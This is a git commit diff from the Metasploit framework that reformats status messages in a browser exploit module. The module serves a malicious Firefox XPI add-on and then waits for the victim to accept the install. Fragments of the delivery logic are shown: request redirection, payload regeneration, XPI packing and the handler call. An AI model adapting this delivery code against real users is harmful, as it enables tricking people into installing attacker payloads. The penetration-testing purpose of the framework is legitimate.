Change the output style to comply with egyp7's expectations.

unstable
sinn3r 2012-04-10 13:42:52 -05:00
parent 76c12fe7e6
commit 0e1fff2c4b
1 changed files with 5 additions and 5 deletions

View File

@ -88,13 +88,15 @@ class Metasploit3 < Msf::Exploit::Remote
end
def on_request_uri( cli, request )
msg = "#{cli.peerhost.ljust(16)} #{self.shortname}"
if not request.uri.match(/\.xpi$/i)
if not request.uri.match(/\/$/)
send_redirect( cli, get_resource() + '/', '')
return
end
print_status( "Handling request from #{cli.peerhost}:#{cli.peerport}..." )
print_status("#{msg} Handling request..." )
send_response_html( cli, generate_html, { 'Content-Type' => 'text/html' } )
return
@ -102,7 +104,7 @@ class Metasploit3 < Msf::Exploit::Remote
p = regenerate_payload(cli)
if not p
print_error("Failed to generate the payload.")
print_error("#{msg} Failed to generate the payload.")
# Send them a 404 so the browser doesn't hang waiting for data
# that will never come.
send_not_found(cli)
@ -207,9 +209,7 @@ function startup(data, reason) {
<script><![CDATA[window.addEventListener("load", function(e) { startup(); }, false);]]></script>
</overlay>|)
print_status(
"Sending xpi to #{cli.peerhost}. "+
"Waiting for user to click 'accept'...")
print_status("#{msg} Sending xpi and waiting for user to click 'accept'...")
send_response( cli, zip.pack, { 'Content-Type' => 'application/x-xpinstall' } )
handler( cli )
end